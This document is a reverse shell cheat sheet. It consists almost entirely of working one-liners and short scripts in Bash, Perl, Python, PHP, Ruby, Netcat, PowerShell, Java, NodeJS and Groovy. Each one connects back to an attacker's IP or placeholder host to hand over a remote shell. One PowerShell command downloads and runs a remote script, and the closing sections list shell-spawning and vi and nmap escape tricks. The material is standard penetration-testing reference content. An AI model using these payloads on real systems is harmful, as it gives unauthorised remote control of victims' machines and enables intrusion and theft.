Reverse Shell Methods

Reverse Shell Cheat Sheet

Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

```
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
```

Bash UDP

```
Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

Netcat Traditional

```
nc -e /bin/sh [IPADDR] [PORT]
```

Netcat OpenBsd

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Ncat

```
ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash
```

Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

NodeJS

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
```

Groovy - by frohoff

NOTE: Java reverse shell also work for Groovy

```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

Spawn TTY

```
/bin/sh -i
```

(From an interpreter)

```
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```

Access shortcuts, su, nano and autocomplete in a partially tty shell /!\ OhMyZSH might break this trick

```
ctrl+z
stty raw -echo
fg
```

(From within vi)

```
:!bash
:set shell=/bin/bash:shell
```

(From within nmap)

```
!sh
```

Thanks to

- Reverse Bash Shell One Liner (https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
- Pentest Monkey - Cheat Sheet Reverse shell (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- Spawning a TTY Shell (http://netsec.ws/?p=337)
- Obtaining a fully interactive shell (https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)